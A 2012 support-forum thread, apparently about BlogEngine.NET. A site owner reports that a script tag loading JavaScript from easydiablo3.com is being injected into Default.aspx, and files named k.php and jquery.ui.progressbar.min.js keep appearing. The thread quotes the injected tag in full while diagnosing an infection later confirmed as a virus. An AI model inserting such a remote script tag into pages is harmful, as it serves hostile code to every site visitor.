Incorrect tag being added to Default.aspx

Jul 3, 2012 at 9:42 AM

Hi guys, something weird has started happening to me. My website has started to "stop working" at regular intervals. The problem was originating from Default.aspx, so I downloaded the file from the server and noticed a tag was being added at runtime breaking the page. Here is what it looks like:

 

<asp:Content ID="Content1" ContentPlaceHolderID="cphBody" Runat="Server">
  <div id="divError" runat="Server" />
  <uc1:PostList ID="PostList1" runat="server" />
  <blog:PostCalendar runat="server" ID="calendar"
    EnableViewState="false"
    ShowPostTitles="true"
    BorderWidth="0"
    NextPrevStyle-CssClass="header"
    CssClass="calendar"
    WeekendDayStyle-CssClass="weekend"
    OtherMonthDayStyle-CssClass="other"
    UseAccessibleHeader="true"
    Visible="false"
    Width="100%" />   
</asp:Content><script type="text/javascript" language="javascript" src="http://easydiablo3.com//Templates/jquery.ui.progressbar.min.js" ></script>

 

I also noticed two files are appearing randomly in random folders called jquery.ui.progressbar.min.js and k.php. Is this a bug I can fix or some sort of virus?

 

Thanks!

 

Coordinator
Jul 3, 2012 at 5:19 PM

First check if you have any custom scripts added to settings/custom code. If nothing there, check your theme - it could be in your custom master page. Another possibility is custom extension or widget that inserts this code on load. It definitely has to be some custom code you installed. Or someone has access to your site and modified files. This page warns about k.php been an exploit, so I would wipe it out right away.

If this related to any BE extension you installed from gallery please let us know, we trying to verify all new packages but it can be tricky.

Jul 5, 2012 at 7:40 PM

Hi, turns out it was a virus. I did some cleanups and it's gone now.